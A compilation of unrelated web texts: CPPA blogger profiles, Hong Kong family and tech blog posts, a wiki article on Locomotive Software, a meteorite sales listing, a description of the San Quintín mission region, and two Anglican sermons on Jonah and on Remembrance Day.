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The CPPA Bloggers
Meet the CPPA bloggers! The CPPA blogging team is comprised of individuals that have built a resounding personal brand in their community via blogging and other inspirational work throughout the course of their personal and professional careers. Each of the bloggers have motivated, coached and inspired scores of individuals to strive for success, whether it is in their educational, personal and/or professional careers. We sincerely hope that you enjoy their blog posts and that you take advantage of connecting with them personally.
Note that as CPPA members, you are more than welcome to voice your thoughts and opinions and submit blog post! that you have written. We would be more than happy to publish your blog post live on our blogging page. If you would like to submit a blog post that you have written, email blog@cppa.co.
Fahad Meer
Occupation: Manager, Assurance
Workplace: PricewaterhouseCoopers (PwC) LLP
Education: McMaster University
Fahad, a McMaster graduate, is a Manager in the Assurance group at PwC. Although his interest lies in public accounting and obtaining his Chartered Accountant (CA) designation, his passion lies in mentoring and coaching young professionals and students in their careers. Fahad has branded PwC on a national level as the National Recruitment Blogger and Campaign Star where he has connected with hundreds of students and has provided them valuable tips and tricks to succeed in recruiting, networking and interview settings. Having been mentioned and published in magazines, newspapers and textbooks Canada-wide on topics relating to personal branding, overcoming adversity and professional growth, Fahad is an advocate and true believer in making an impact in every step of not only his career, but also the careers of others.
Samra Zafar
Occupation: Associate, Asset Based Lending
Workplace: RBC Capital Markets
Education: University of Toronto
After having completed her HBSc in Financial Economics with the highest distinction, Samra is now an Associate in the Asset Based Lending rotational program at RBC Capital Markets. Samra, a single mother of two girls, overcame many personal challenges and years of adversity to become a top student at UofT. Her struggle and hard-fought battle to overcome adversity was no secret as her story inspired thousands of individuals worldwide. (http://blogs.tribune.com.pk/story/17620/samras-story-when-marital-abuse-did-not-break-her/)
She was the first Pakistani/South Asian to win the coveted John Moss Scholarship and award since its inception in 1921, which is awarded annually to only one distinguished graduate in UofT (inclusive of all three campuses). She has a dozen more awards to her credit and was named the top student in Economics at her UofT graduation. Samra has appeared in several articles and TV interviews where she promotes education and empowerment, especially amongst women. Her passion is to motivate people to believe in themselves, achieve their goals and reach their full potential, no matter what the circumstances might be! Samra promises to share her passion and to inspire you via her blog posts!
Faizan Hamdani
Occupation: Senior Derivatives Associate
Workplace: Sun Life Financial
Education: University of Waterloo
Based in Waterloo, Ontario, Faizan Hamdani's blogging interests began when he started writing for the University of Waterloo newspaper. Always with an opinion, Faizan encourages people to speak their minds and form their own conclusions and this is exactly what readers can expect in his upcoming blogs. Faizan promises that his writing will deliver the stone cold truth mixed in with friendly advice from his own experiences. His past blogs have always been well received by his audience and have thus branded him with the credibility of inspiring and motivating both students and professionals.
Areeba Ariz
Occupation: Accountant (Audit & Assurance Group)
Workplace: Ernst & Young (EY) LLP
Education: Schulich School of Business, York University
Areeba recently graduated with distinction from the Schulich School of Business, where she specialized in Accounting & Economics. Currently, she is pursuing her Chartered Accountant (CA) at Ernst & Young. Early on in her academic life, Areeba came to realize that God and luck undeniably favour the passionate and hardworking. This belief was permanently cemented in February 2010 when she was awarded the prestigious "Top 5 in the World" ranking for her performance in CIE Advanced Level Economics, in addition to other regional accolades. Such proud and grateful moments along the way, continuously inspire her to go above and beyond in every goal or project that she undertakes.
When not in the classroom , she spent much of her time at case competitions, leadership conferences and mentorship activities. She is a social enterprise enthusiast and her passion has served her well in leadership roles within several community and non-profit organizations. Free-spirited and adventurous, she loves to be challenged, to meet new people and to live new experiences! Thus, she has gone from doing the CN Tower EdgeWalk, to white water rafting in the Alps and starting her own cupcake business, to devouring books of every genre in her spare time. Areeba hopes to use this platform to share her personal learning and reflections, as well as the motivational gems and inspirational people stories she comes across, with you!
Isra Ikram
Occupation: Corporate Recruiter
Workplace: Saks 5th Avenue OFF 5TH at Hudson's Bay Company
Education: York University
Isra is a graduate from the School of Human Resources Management at York University. She has previously interned at CitiBank, Barclays, Bell and KPMG; upon her graduation in 2013, she landed a job as a National Talent Acquisition Coordinator at Walmart Canada Corp. She is working towards obtaining her Certified Human Resources Professional (CHRP) and Certified Human Resources Leader (CHRL) designations. She enjoys public speaking and is involved in leadership and community work through her participation in case competitions, guest speaker lectures at York University, and CPPA's mentorship program.
Isra believes writing enables her to reflect and convert her thoughts to words on paper. She is excited to share her thoughts, experiences, and learnings from her inspirational leaders and is looking forward to making some impactful contributions to the CPPA blog!
Sharique Khan
Occupation: Accountant
Workplace: Flaim Wolsey Chartered Accountant
Education: Dalhousie University
Sharique is a graduate from Dalhousie University and is working toward his CPA, CMA designation. He is also a motivational speaker and blogger (www.shariquekhan.com). Having worked in several managerial positions in his short career, Sharique realized the importance of keeping himself and people around him motivated. His mentoring skills and contributions to the society have not only won him several awards such as "Dalhousie Distinction Impact Award" but also got him featured in "Dalhousie Management Career Services Spotlight" and "Dalhousie Student Union's 2013: New Student Handbook". His ability to transform a failure into a success story has earned him credibility and encouraged people to not give up on their dreams when faced with rough times. Sharique hopes to continue inspiring people through his blogs and helping them succeed in their endeavours.


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One minute snippets of life in Hong Kong, my new Youtube series
Dad, Hong Kong, Internet
I took the kids out the other day for a photo walk, trying to teach them some principles of street photography by walking around the city and observing all there was to see.
"Take photos of the unusual, the fascinating, the unique, the strange, the weird. Whatever it is that catches your eye, try to take a picture of that"
So we walked through the wet market in Hong Kong, where fish lay on the boards before being cut, pieces of meat hang from dirty hooks cut by men with a cigarette behind their ear and a cleaver in their hands. Noodles are stacked high and stretched long as they are made in the shops and sent to restaurants nearby. Neon lights calling out for everything from foot massages to yummy bakery goods, which also filled the air with the sweet smell of freshly made treats.
And after nearly 20 minutes of this, my boys had yet to take a single picture.
"What's wrong?" I asked. "I said take a picture of the unique, the strange, the fascinating things you see on the street and here we are in the land of noodles and neon and you haven't taken a single photo."
"Well yeah dad, we see this everyday"….
It was then I realized my kids really do call Hong Kong their home.
But for me it is still rather unique. So I've decided to start some Youtube videos of the "everyday" that we see here in Hong Kong. My new set is in a playlist on Youtube called "One Minute Hong Kong"–one minute snapshots of life from the city I now call home.
Feel free to take a look.
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Where to find the INVADER art in Hong Kong – 2015 Edition
Dad, Hong Kong
The French street artist INVADER has come to Hong Kong several times, but this last month he came 'officially' as part of an organized show at the PMQ gallery. There his works hung on well lit walls with tour guides and a gift shop, but that doesn't mean he wasn't busy again on the streets of the city.
INVADER launched a new wave of art on the city streets, and my kids took an immediate liking to finding every single one of them. The other day we did a city hike through the streets of Sheung Wan and managed to locate about 7 of the 20 or so new works with several more now on the agenda for our next hike.
As if that wasn't enough, the kids are now trying to recreate as many Invader works as possible, along with a few original designs of their own. Arsenal man was a big favorite, and the boys are already asking how I can attach it to the wall. Thankfully they don't know what grout yet, so we'll make do with something a little less permanent.
Arsenal Man in tiles.
I created a Google Doc with a location list of all INVADER work in Hong Kong that is still visible, but haven't gotten around to finishing the map just yet. Feel free to take a look and follow the invasion around the city.
Hong Kong Apple Store Steve Jobs iVigil photos
Apple, Hong Kong, Hong Kong Tech, Internet
Just a few pictures from tonight's vigil at the Apple store. That's @hypercasey on the ladder, graciously provided to us by the IFC Security Team (who were also handing out post-it notes). @angiewong is there giving interviews as she was the coordinator of tonight's event.
Photos from the Apple Store Hong Kong opening day
Hong Kong, Hong Kong Tech, Internet
I'll have video up shortly.
Videos from the Apple Store Hong Kong Press Day
Spent the morning with the Apple fans and media checking out the new Apple Store in Hong Kong. Basically it's an Apple Store, but with a few tweaks here and there for the Asian market, such as a slightly different POS payment system, and more iPads on the floor than you'll see pretty much at any other Apple Store.
Apple Store Hong Kong opens curtains and lets the sunshine in.
They took the curtains off the Apple Store and are doing some staff training by the looks of things. Still on target for an opening this Saturday.
The store is going to be very 'bright'. Huge windows opening to Hong Kong's skyline and lots of light will make this a very sunny experience. Hope they have some good air conditioning.
My iPad 2 arrives in Hong Kong
The new iPad 2 arrived today in Hong Kong. Well mine at least…
Someone's little hands are already trying to take my new toy.
My mom bought it in her hometown in South Carolina. She went to a Best Buy about three hours after it went on sale. I pressed her and pressed her to go earlier but she replied "the people in this podunk town are too poor to buy anything". Guess what? she was right. She walked into the store, back to the iPad section, and was second in line behind a guy who walked in just before her. The clerks told her earlier they had a long line, but she timed it just right to get there when no one was around.
Fast forward a week and a few and it has arrived in Hong Kong. The post office made me go fetch and now I'm back starting the rather time consuming task of moving over all my stuff to the new device.
First quandary was how to set it up–either as a "new iPad" or "restore from the backup of the old one". I wasn't quite sure so I went with the restore option, though in retrospect (i.e. the 20 minutes it took to do the restore) I discovered I could probably do it either way, syncing the apps and whatnot later on.
First impressions is that it's quite a bit thinner than the older one. The 'scuba suit' cover that was on the older version folds back and makes the entire iPad 1 look quite a bit 'fatter' than it really is. I'm still impressed when I see one of the originals without a cover (which is rare) as it looks so much smaller than mine which is wrapped in the Apple black latex.
I got the 'smart' cover (black leather) that I'll be setting up as soon as the sync is done (god it takes awhile). The new screen, sans fingerprint smudges and cracker crumbs and whatever else a year of use has puts on it, looks gorgeous. Of course it is basically the same as the old one, but it's clean.
I'm not going to sell the old one. While that's normally my standard procedure as I've sold every iPhone I've ever owned right after buying a new one, this iPad had the secondary market take a hit with Apple's price reduction, and we actually have a need for it in the house. The wife can't use my computer usually as this room is too tiny, but she needs access to her email and celebrity gossip sites so iPad 1 becomes "hers" along with one of the boys, and iPad 2 is mine with the other kid.
So, let's see…time to start the sync…and…
Apps transferring…(giving kids a bath)
Now to the music…(made a sandwich)
Now the pictures…(browsing the Internet)
and a bunch of other stuff for about an hour and a half now….
We're done.
Some hints for your first install:
Do a backup of your existing iPad before you start this process.
Nuke any podcasts / videos / songs you don't want to sync (saves time)
I sync'd 2000 photos faster than 1,100 songs, fwiw
Consider doing your first sync overnight when you don't have to sit and watch the slow process.
Ok, now to play with it. The magnetic screen cover works as advertised. Open it and it comes on, close it and close it and it shuts down. I've already noticed that I'm still hitting the power button to turn things off rather than just close the screen. Old habits will take a bit to slow down.
The home screen now has two new icons. One is Photobooth, which you can use if you are feeling like self portraits with the rather grainy camera. The other is Facetime, which I've yet to check out.
I showed the wife and let her hold both of them. "The new one is heavier" she wrongly observed (iPad 2 is .2lbs lighter). It definitely is thinner. You can feel that holding it. It also feels 'faster'. Some apps like Flipboard were really loading quite quickly, and I look forward to playing Infinity Blade later today.
But now for the most important test: how much gloating can I do with this? I'll be heading over to a few of my haunts today to be "that guy" who has the newest toy. Feel free to call me a jerk later if you see me.
Why Android v. Apple isn't like Microsoft vs. Apple
I was up in Sham Shui Po today, looking to buy an Android tablet. The reason I didn't buy one was kind of interesting.
Sham Shui Po is basically Shenzhen's outlet in Hong Kong. The Golden Computer arcade is a collection of "China Generic" computers and parts, and you can pick up pretty much anything technically related from the iPad down to things like cables, iPhone cases, and other tiny computer parts (what we referred to as the "pocket lint of the tech industry"). In the street markets around there you have dead ducks hanging from a hook next to a hook full of HDMI cables. It's pretty wild.
I'm not really in the market for another tablet, but if I saw one I liked I was ready to shell out to buy an Android tablet primarily for some projects I'm working on. But I'd have to see the right one before I'd buy as I wasn't out to just get any Android tablet–I wanted the best I could buy (and one that I could eventually run Honeycomb on safely). So what did I see?
There were dozens, and not a single one was even remotely worth buying, let alone being an iPad killer. They were brands I had barely heard of, and, of course, the dozens of China generics still selling themselves based solely on the 'specs' of the hardware rather than the overall experience. In the end I just couldn't justify buying one of these things that would likely become a coaster in the next few months when something better came along.
I keep hearing that Android will due to the iPad/iPhone (iOS) what Microsoft did to Apple.
Do you really think so?
People tend to forget that Microsoft did not succeed because there were dozens of computer makers pushing it. There were several competing OS standards back during that time all of which could have become "the standard" if they had the ace up their sleeve. IBM. Microsoft got their biggest boost because IBM was using it.
At the time, IBM was the be all, end all of computers. No one would go wrong buying an IBM system and when they introduced their PC it was by far the market leader in the enterprise purchases. Commodore and Compaq and HP and Dell and all the assorted others were but a mere sideshow to the big boy on the block that was giving Microsoft cachet into the tech industry. Within 3 years, IBM PCs were nearly 50% of the computer industry, and their use of the Microsoft OS went along for the ride. It wasn't necessarily Windows that beat Apple, it was the IBM-compatible that beat Apple back then.
So who is Android's IBM? What company out there today making Android tablets is the "big boy"–the flagship for the fleet of Android tablets that are going to be coming out? Is there any hardware company that could possibly get to 50% of the tablet market share? Nokia? (nope). Dell? Wait and see. HP? Samsung? Anyone? Bueller?
Who is the 800 lb gorilla in the room this time? Apple, to be honest.
What would have happened in the early 1980s if IBM had launched the IBM PC with their own (licensable) operating system? If IBM was selling machines with an OS that they were licensing to clone manufacturers, do you really think Microsoft would have stood a chance? They would have just been some company that made a few BASIC games and then went poof.
Apple, of course, is not licensing out there iOS behind the tablet, and this may prove problematic one day, but Android is not being used by any company that is a "MUST HAVE" in the technology industry either. There is no IBM tablet on the horizon, and the best of the best of the best that you see today (Samsungs, HP) are being dwarfed, by an order of magnitude, by sales of new iPads and holdouts waiting for iPad2.
So next time you hear tale of Apple's demise due to the power of Android don't necessarily think history is about to repeat itself again.
Movie Review: The "Mad Detective" (Hong Kong)
Guns guns guns, but who shoots first?
Ok, I love Hong Kong cop films, so it probably helps. I'm also able to sort out Asian faces better than most idiots who just say 'they all look alike', which definitely helped because this movie is part Hong Kong police fare part Buddhist personality play. I also love Johnnie To movies so watching this was quite a treat.
The Mad Detective is a Hong Kong police officer blessed/cursed with the ability to see a criminal (or anyone's) inner personality. In doing so he basically go insane and drops out of the force, until called back to help in the disappearance of a Hong Kong police officer and his gun (a cop losing his gun in HK is a very big deal). As he looks at possible suspects and partners, he 'sees' (and you see) the personality inside–be it the stern taskmasker, the lazy loaf, the thug, or the brains (always played by smartly dressed hot women I should add). For those easily distracted in movies, this will throw them for an absolute loop, but once you make this realization that each time you are looking at someone they can be someone else the film takes on this really interesting dimension.
This is one of the tightest written Hong Kong cop movies I've seen in a long time. No random characters or scenes that obviously suffered from excessive editing (i.e. no continuity in the plot). The film has been released on DVD by Blockbusters as part of their new move into foreign films.
Like I said, if you can track multiple characters (personalities) this is really a pretty entertaining film. Definitely kept me interested as the plot twisted and turned making you feel like a lost child at times.

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Founded in February 1983, Locomotive Software was the software house which developed the CPC's [[BASIC]] and [[operating system]], and played a pivotal role in other Amstrad home computers of the time. The company was founded by [[Richard Clayton]] and [[Chris Hall]].
'''Locomotive Software''' was a small British software house which did most of its development for Amstrad's home and small business computers of the 1980s.
It wrote or contributed significantly to the ROMs of the Amstrad CPC 464, Amstrad CPC 664 and Amstrad CPC 6128 home computers, the Amstrad PCW wordprocessor and the later Amstrad-manufactured ZX Spectrum +2A, +2B and +3 machines, amongst others. Its [[Locomotive BASIC]] for the CPC range was fast and highly-featured implementation of BASIC for the time and later led to the development of Mallard BASIC for Amstrad's CP/M+ machines. Locomotive was also responsible for the ports of the CP/M operating system to Amstrad machines - initially 2.2 for the CPC464 and CPC664 and later CP/M 3.0 ("CP/M+") for the CPC6128, PCW range and Spectrum +3.
== CPC ==
A later Locomotive BASIC was BASIC2 for Digital Research's GEM GUI, as supplied with the Amstrad PC-1512 and PC-1640 range of PC clones.
Most pieces of the CPC's system software were written by Locomotive: [[Locomotive BASIC]], the [[CP/M]] ports, the operating system [[firmware]], and [[AMSDOS]]. All were acclaimed for their stability and design, particularly the BASIC. The main operating system development started in September 1983 and, for the 464, was complete by 14th January 1984. (Locomotive then worked on the documentation, both the free BASIC manual and the [[SOFT 158]] firmware manual.)
The company also developed the LocoScript word processor for the PCW, which was a complete bootable environment in its own right with no separate underlying operating system. The company later produced a PC version of this software but it was not hugely successful - partly because it was a DOS application, just as the PC market was moving to Microsoft Windows, but also because in the more competitive environment of PC wordprocessors the program compared poorly to incumbents such as WordPerfect.
== PCW, PC and Spectrum ==
The same team later went on to develop the Turnpike Internet client for Windows, which was for many years distributed as their standard access software by pioneering dial-up Internet access provider Demon Internet.
Locomotive's association with Amstrad continued with the next range of computers to be launched by the firm - the [[PCW]] word-processors.
The company still exists in partial form, continuing to sell the LocoScript software. One interesting thing is, that they didn't change their company logo for more than 20 years.
Here, as well as porting CP/M, Locomotive was to write LocoScript - a powerful and (generally) user-friendly word-processing package that would be the sole user experience for 90% of the unit's purchasers. The vast success of the PCW can therefore largely be attributed to Locomotive. Locomotive BASIC, meanwhile, made a reappearance on the PCW, this time as [[Mallard BASIC]]. Mallard had no graphics or sound functionality, but the excellent file handling from Locomotive's original Acorn BASIC made a reappearance.
Locomotive was invited to pitch to write the software for the [[PCW16]], Amstrad's last 8-bit machine, but declined because they thought the deadline was unachievable. (Creative Technology's failure to complete by the specified date only proved that Locomotive had been correct.)
== Internet products and later ==
LocoScript Software is now owned by [[SD Microsystems]], which itself was once a CPC software publisher. Richard Clayton has become a well-respected, and often quoted, security expert at Cambridge University.
== Web links ==
* [http://www.locomotive.com/ old Locomotive Software domain]
* [http://en.wikipedia.org/wiki/Locomotive_Software Information at Wikipedia]
* [http://www.old-computers.com/magazine/view.asp?r=1&a=16 Interview with Richard Clayton]
* [http://www.cl.cam.ac.uk/~rnc1/talks/040309-TwentyYears.pdf History of Locomotive presentation] (PDF)
* [http://www.cl.cam.ac.uk/~rnc1/index.html Richard Clayton's homepage]
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These two meteorite fragments were part of an oriented meteorite that experienced an "air break". Elongated regmaglypts (flight markings) accent both specimens, which are both embossed with a natural dark-red mahogany-hued desert varnish — the result of their residency in the Sahara. Accompanied by a custom armature.
Two oriented meteorite fragments that broke apart in the air and fell in distant proximity to one another, as they were recovered by different individuals, and after having later been scattered across the Sahara were astonishingly reunited overseas.
In early 2017 the curator of the Macovich Collection was delighted to acquire from a meteorite hunter the larger of the two masses now offered. A year later, Aziz Habibi, a renowned Moroccan meteorite dealer, visited the collection in New York with meteorites he had brought for consideration. Among his offerings was a beautiful fragment of a desirable oriented meteorite.
Unlike 99% of all meteorites, oriented meteorites don't invert or tumble as they plunge through Earth's atmosphere. This only occurs when there is a fortuitous distribution of the meteorite's mass as well as a fortuitous angle of entry into the atmosphere. As a result of maintaining the same axis of orientation, such meteorites gain a wonderful aesthetic appearance and their direction of flight is readily discerned. The parabolic curve on the leading face of oriented meteorites is the angle at which heat is most efficiently deflected from a falling body — and this same curve inspired the design of the heat shields for NASA's Mercury, Gemini and Apollo capsules.
Upon locating the larger specimen the connoisseurship was vindicated: both pieces fitted together. Finding fragments from the same meteorite at separate location is almost unheard of. Habibi was stunned and dispatched the news of this event to the international meteorite community.
To enable scientists to refer to individual meteorites, there must be a nomenclature system in place. Meteorites are named after the localities where they fall, but in the desert, where there are few distinguishing geological features, meteorites are named after the designated grid in which they are found and are assigned sequential numbers. As the current offering was found in the Sahara Desert, it would be assigned a name that commences "Northwest Africa" (NWA) followed by a number. For this specimen to become named, a 20-gram (or larger) sample must be sent to an accredited researcher for analysis. The researcher's findings are then peer reviewed and upon a consensus of the specimen's petrography, geochemistry, type and classification, the meteorite is then named and published in the Meteoritical Bulletin and is then part of the scientific literature. Should one wish to have this meteorite classified and be listed in the annals of the Meteoritical Bulletin — or one can remain anonymous if preferred — we can provide the introduction and guide you through this process.
Meteorites possess highly specific elemental signatures, not only in regard to their constituent elements, but also the ratios of these elements. Based on the foregoing, XRF analysis indisputably confirms these are meteorite fragments. The flight markings in evidence provide further validation of these fragments being part of a rare oriented meteorite whose extraordinary travels were not over after landing on Earth.


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Go Missions to Mexico's Mission Base is located about four hours South of San Diego, California via paved highways.
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The population of the San Quintín region has between 200,000 - 400,000 inhabitants and is spread out over about 50 communities and neighborhoods, with several migrant farm camps. Most communities range is size from several thousand to around 15,000. The main economic activity in the area, employing nearly 150,000 individuals, is the production of fresh market vegetables by agribusinesses for export to the United States. These crops are dependent almost totally on well water. Many people in coastal communities make their living from the sea. At present, the basic daily wage for field workers averages around $6.00-$10.00 a day. Workers as young as 8 or 10 may be employed as well when labor demand is high. This makes it possible for some families to have 2-3, or more wage earners. Transportation from the camps and communities out to the fields and back is provided free by the various companies. A large part of the agricultural workforce is of Indian heritage, mainly from the states of Oaxaca and Guerrero which are southern states of Mexico. The area is made up of around 80% indigenous folks who have migrated to work in the fields from Mexico's southern states. The area is very safe and the people are humble farm working folks.
Evangelical Churches
There are approximately 175 evangelical churches in the region. Some churches may have as few as 15-30 attendees, while most would probably fall in the 30-100 range. All together the area churches represent perhaps 4,000 people, or about 3.5 to 4% of the population, about the same as the national average. Most of the pastors are Mexican nationals, a few of whom are indigenous themselves, but there are also a few American and Central American pastors. Some of the pastors have had some Bible School or seminary training, but many have had little or no formal training. Many of the pastors do secular work on the side to support themselves. Few of the pastors speak English.
Cellular phone service is available throughout the region and is the most widely used way for communication. Internet service is also available in many areas. Landline telephone service is now widely available in the region, though there still are many smaller communities where standard phone service is not available. Casetas telefónicas (phone stalls) in small businesses where an attendant places the call for you, abound. Pay phones that use coins or prepaid phone cards are common in public places and within many businesses as well.
Roads & Fuel
Essentially, the only paved road in the area is Highway 1. AII other side roads are dirt. Some caution should be taken when driving on the highway as it's narrow in some places. Extra caution should be taken at night, due to the higher incidence of drunk drivers, animals on the road, bicycles without reflectors, and vehicles with burned-out lights or headlights out of adjustment. After heavy rains, the dirt roads in the area can become extremely muddy and difficult to navigate. The Mexican army has several checkpoints on the highway for drugs and guns. Unleaded (gasoline, Magna Sin), and diesel fuel are available at numerous gas stations throughout the region. The prices are the same at all stations. A higher grade unleaded fuel (coded red) is available. Some stations are open 24 hours. Presently, unleaded regular gas costs about $3.25 a gallon and unleaded premium gas about $3.50.
Microbuses run regularly between Colonet and Nueva Odisea during daylight hours. Inexpensive taxi service is available along the highway in a more limited area.
Electricity is available in many communities, although in some, there is still no electricity. Electricity current is the same voltage as in the U.S. Electricity costs about two to three times as much as in the U.S.
City water is available in most communities, with many communities having their own well. In communities without water service, residents purchase water from water trucks. Where city water is available, water pressure varies greatly throughout the day and depending on the season. In many cases, towns will only have water one or two days a week. For someone to have consistent, substantial water pressure, it is often necessary to make a considerable investment in getting their own water storage tank and a pump. City water is generally untreated, and its quality varies greatly from community to community, depending on the well it comes from.
For drinking water, most people purchase purified water in 5-gallon jugs (cost about a $.80 cents) from area stores.
There are dozens of private physicians with offices throughout the region. Numerous pharmacies where medicines can be purchased, and a number of labs where laboratory studies can be done. There are 2 private hospitals in San Quintín and several government hospitals. There are also countless smaller clinics. It should be noted that there are numerous traditional Indian medicine men or witch doctors (who by the way charge about 10 times what a doctor's visit costs).
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Sermon for Mattins on the 12th Sunday after Trinity, 19th August 2018
Jonah 1 – Jonah and the Whale
Jonah didn't want to go to preach in Nineveh. Nineveh was a big city in Assyria, Syria today – it's now called Mosul. Jonah was a Jewish prophet. His people had been enslaved by the Assyrians – 'The Assyrian came down like a wolf on the fold', as Byron put it – and the Assyrians definitely didn't believe in the One True God of the Israelites. They believed in the Baals and the sacred poles and various other idols, and they were generally immoral and badly behaved. But God had told Jonah, as his prophet, to go and preach to them.
But Jonah decided to disobey God, and he ran away to sea. Our lesson says he took a passage in a ship to a place called 'Tarshish', but that word is just a general Hebrew word for 'the ocean'. He just went anywhere except to Nineveh.
It didn't go well. They were caught in a storm, and they had to throw cargo overboard to lighten the ship. As an aside, I wonder whether this is an early reference to the ancient maritime law concept of General Average, defined by the Marine Insurance Act 1906 (s66.2) as '… any extraordinary sacrifice or expenditure … voluntarily and reasonably made or incurred in time of peril for the purpose of preserving the property imperilled in the common adventure.'
I don't want to wander off the track too far, telling you all about the more esoteric things in English maritime law, but I ought to just mention that our law has a wonderful expression, the 'marine adventure'. It just means the business of sending a ship to sea on a voyage. The Marine Insurance Act, where so many of the principles which still govern maritime law and trade are found, says 'there is a marine adventure where… Any ship goods or other moveables are exposed to maritime perils.'
'Other moveables': this was a law passed in 1906! It gives flexibility for any kind of transport by sea – what about an 'Ekranoplan', for instance? [https://goo.gl/images/ydMN5r] Or more mundanely, a hovercraft? Or a marine drone? I think they could all be described as 'moveables … exposed to maritime perils'. They were very far-sighted in 1906, obviously.
But never mind which shipping line he took, whether they declared General Average, or which flag the ship was flying. The point was that Jonah didn't want to preach in Nineveh. It begs the question why anyone, never mind just Jonah, would want to stand up in public in a strange place and tell their audience that they're a bunch of godless no-good libertines. Come to think of it, though: if I stand up in this pulpit and say anything that some of you might call 'political', some of you may well give me a hard time. It has been known …
Imagine what it would be like if I were a Jewish rabbi – a preacher – today, going to Gaza and telling the Palestinians that they are all sinners, that the god that they worship is not real – well, not that their god is not real, because the Moslem God is the same God that Jews and Christians worship – but suppose this imaginary rabbi preached that the Palestinians' understanding of god is faulty – and that the end is coming. I doubt that they would be particularly receptive. It's not a preaching assignment I would want. And indeed, Jonah didn't.
But there was a very important extra factor, which would also have influenced Jonah. That was nationality. Jonah was an Israelite, and the people of Nineveh were Syrians (or more precisely, Syrians under the overall rule of Persians.)
Incidentally, I hope it won't disturb your repose just now if I mention – dangerously, perhaps – that we never, these days, refer to the Jewish people in the Old Testament as 'Israelis', but always as 'Israelites'. Why is this?
When the great pianist and conductor Daniel Barenboim was interviewed on BBC Radio 3 before his BBC Proms concert on Tuesday this week, he said something along these lines; (I haven't tracked down a verbatim recording, but my recollection is) he said that, in the current context of conflict between Israelis and Palestinians, if you criticise the Israelis, you are also, automatically, criticising the Jews – and people may allege it is anti-semitic to do so. But Maestro Barenboim, who is an Israeli citizen and a Jew, clearly did not think that it was necessarily antisemitic to criticise Israel, and the Israelis.
Given what the Bible tells us of the search by the Jews for the Promised Land, it's certainly difficult to make a distinction between Jews and Israelites. The people of Israel were the Jews: the Jews settled in the land of Israel. They were what we would normally call, Israelis. And if so, then the ancient Israelites have become the modern Israelis, one could argue.
Here, in the story of Jonah, there is a very strong anti-nationalist, universalist, theme. In God's eyes it doesn't matter whether the people to be prayed for, or to be preached to, belong to the right nationality, whether they are Israelites. When Jonah has been saved by being swallowed up in the great fish, and God asks him a second time to go to preach in Mosul, this time he doesn't hesitate.
And it works. The people in Nineveh are very receptive to what Jonah has to tell them. They repent; they are forgiven. God doesn't destroy their city. If you read on in the Book of Jonah – it's only got four chapters – you'll see that Nineveh is saved, but, rather surprisingly, Jonah is unhappy: he is cut up about why the heathens in Nineveh, those totally undeserving layabouts, should get this prize. They aren't the right people to be saved. It should have been the Israelites, the chosen people.
But from God's point of view, what difference did it make what nationality they were? Jonah seems to have thought that only the Jews, only Israelites, would understand the full theological background, the need for repentance. Heathens, 'gentiles', like the Assyrians, wouldn't get it. They did not worship the one true God and so they didn't qualify, in Jonah's eyes. But when the Assyrians, having realised the power of God, saw that God had accepted their repentance, and wasn't going to destroy them, they started to worship God too.
I think that we sometimes slip into a similar kind of insularity, a tendency to think that nobody who isn't like us deserves to do as well as we do. I know I sometimes catch myself out being surprised when I find that someone who's 'not British' turns up doing an important job, or where there's a foreign-sounding name where we'd expect Smith or Jones.
After all, what is wrong with people coming and living here, earning a salary and paying their taxes? I would argue that the Book of Jonah supports the view that it doesn't matter where you came from or who your parents were. You are a human being like me. The Jewish Law of the Old Testament said, look after the stranger at your gate. In Deuteronomy 10:19 Moses teaches, 'Love ye therefore the stranger: for ye were strangers in the land of Egypt'.
God makes it very clear to Jonah that, as He said through the prophet Ezekiel, He loves all people. 'He does not want the death of a sinner, but rather that he should repent and live' (Ezekiel 33:11). That's exactly what He got from the people in the great heathen city of Nineveh. They repented, and He let them live.
The story of Jonah and the whale is a lesson in universalism. It isn't just a good monster story. It's wisdom literature: it's there to teach a lesson. That lesson is that God isn't just one lot of people's god, not a local idol. He created all of humankind. All of us: black, white, brown, Polish, Welsh, Indian: all humans, all equally children of God.
It is the origin of the idea of universal human rights. It took the aftermath of the Second World War for the Universal Declaration of Human Rights to be drafted and adopted by the United Nations, (and then for British lawyers, led by David Maxwell Fyfe, to draw up the European Convention on Human Rights, which in our law is the Human Rights Act), but the seeds of the concept were sown in Old Testament times. The people of Nineveh were just as much children of God as Jonah and the Israelites.
Perhaps as a parting thought over your lunch, you might think about this. Today if you, we, are the Israelites, who are our Assyrians?
Maybe we should just keep that gate open. And do we need a whale to keep us out of trouble? I hope and pray, not.
Tags antisemitism, Daniel Barenboim, David Maxwell Fyfe, Ekranoplan, great fish, Human Rights Act, human-rights, Israel, Israeli, Israelites, Jesus, Jews, Jonah, nationality, Palestine, universalism, whale, zionists
Remembrance Day Reflections
Sermon for Evensong on the 22nd Sunday after Trinity, 12th November 2017 at St Mary's, Stoke D'Abernon
Judges 7:2-22; John 15:9-17 – see http://bible.oremus.org/?ql=377554049
This morning we held our Remembrance Day Services. Godfrey, in his sermon, said that, when he had first been ordained, in the 1970s, people had not expected remembrance services to carry on being held after the year 2000. There would be no-one still alive who had served in either of the World Wars. So the memory, the 'remembrance', would just be an impersonal one, a collective celebration of something we had learned about from history. It would be like our celebration of the 500th anniversary of Martin Luther and the beginning of the Reformation, or Guy Fawkes Night, perhaps.
But as Godfrey pointed out, since the end of WW2, there has been only one year during which members of the British armed forces have not been engaged in conflict, somewhere in the world. So there is still a reason to be thankful for their bravery, to remember them, and to pray that, through our bringing to mind their sacrifice, we will gradually and finally turn away from war and strife.
Now in this evening service, as we turn towards the ending of this day of remembrance, I want to reflect on some of the many things that challenge us – or which, I suggest, ought to challenge us, as we enter the 100th year after the promise was made that the First World War was the 'war to end all wars'. Because, 99 years later, very sadly, that still isn't true. Wars haven't ended.
So I want to reflect, to look carefully at some of the things we have said and done in relation to war, and see if perhaps we can discern any factors which might help towards bringing peace in future. You may not agree that I am asking the right questions: but I hope that what I say may start you thinking critically and, I hope, constructively. I very much doubt whether there are any automatically right answers here, at least so far as mortal men and women are concerned, but I think we ought to try.
Love one another. On Remembrance Sunday. Lest we forget. And, to pick up both our lessons tonight, you don't need a big army to win a battle against overwhelming odds, if God is on your side.
How to make sense of all this. This morning we stood in silence by the war memorial and tried to commemorate all those who, in one sense, had not loved one another. They had killed each other. We honoured those who fell. We do honour, usually, those who fell fighting, fighting for our side. We don't usually pray for the people who were the enemy, although there have been good exceptions, like the prayers at the service in Westminster Abbey after the Falklands War, for example, when the then Archbishop of Canterbury insisted that there should be prayers for the Argentines too.
